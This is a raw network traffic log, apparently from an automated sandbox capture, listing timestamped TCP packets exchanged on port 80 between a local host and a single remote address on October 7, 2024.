Oct 7, 2024 18:03:21.901437044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901443958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901469946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901474953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901509047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901520014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901546001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901612997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901645899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901659012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901679993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901715994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901731968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901773930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901807070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901819944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901840925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901844978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901874065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.901935101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.901985884 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902050018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902084112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902087927 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902117014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902122021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902151108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902156115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902185917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902190924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902218103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902229071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902255058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902256966 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902287006 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902475119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902508020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902513981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902539968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902544022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902576923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902601957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902615070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902765036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902796030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902811050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902828932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902832031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902862072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902864933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902894020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902896881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902925968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902930021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902960062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902961969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.902992010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.902995110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903023005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903026104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903059006 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903306961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903340101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903352976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903372049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903377056 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903414011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903424025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903456926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903462887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903491974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903495073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903523922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903527975 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903553009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903559923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903594017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903594017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903631926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903875113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903907061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903913975 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903939962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903943062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.903973103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.903981924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904011011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904012918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904047966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904051065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904081106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904084921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904117107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904119968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904153109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904156923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904191017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904555082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904588938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904597044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904622078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904624939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904650927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904659033 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904685020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904687881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904721022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904722929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904752970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904757023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904784918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904788017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904817104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904819965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904851913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904879093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904886961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904886961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904921055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904931068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904953957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.904961109 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904983997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.904985905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905014992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905023098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905047894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905052900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905088902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905375957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905411959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905417919 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905445099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905448914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905481100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905497074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905530930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905539989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905565023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905571938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905597925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905606031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905631065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905632019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905662060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905666113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905694962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905700922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905723095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905729055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905755997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905761957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905790091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905797958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905822992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905824900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905855894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.905860901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.905900002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.906270981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.906306028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.906316042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.906339884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.906344891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.906375885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.906379938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.906410933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.025820971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.025861025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.025892019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.025912046 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.025918961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.025955915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.025959015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.025990963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.025994062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026026011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026027918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026060104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026062965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026097059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026191950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026225090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026238918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026259899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026262999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026293993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026295900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026331902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026390076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026422977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026441097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026456118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026459932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026484966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026493073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026516914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026523113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026551008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026554108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026586056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026588917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026622057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026755095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026787996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026802063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026822090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026824951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026854992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.026858091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.026889086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027059078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027091980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027106047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027123928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027128935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027158022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027163982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027193069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027204990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027225971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027229071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027257919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027261972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027293921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027482986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027517080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027534962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027553082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027555943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027586937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027589083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027621031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027625084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027654886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027661085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027688026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027690887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027721882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027728081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027756929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027760029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027793884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027796030 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027828932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027838945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027865887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.027867079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.027913094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028280973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028312922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028330088 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028347969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028351068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028381109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028383970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028414011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028420925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028446913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028454065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028482914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028485060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028515100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028521061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028548002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028552055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028583050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028589010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028615952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028620005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028650999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028651953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.028693914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.028980017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029014111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029031038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029046059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029050112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029077053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029083967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029110909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029113054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029148102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029150009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029187918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029372931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029406071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029421091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029439926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029443979 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029473066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029479980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029506922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029510021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029540062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029545069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029573917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029580116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029608011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029609919 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029643059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029654980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029675961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029680014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029710054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029712915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029745102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029747009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029778004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029783010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029810905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029817104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029845953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.029845953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.029886961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030291080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030324936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030354977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030356884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030370951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030394077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030400038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030428886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030433893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030463934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030477047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030495882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030508041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030529022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030555010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030591965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030605078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030623913 CEST	49711	80	192.168.2.12	185.215.113.37
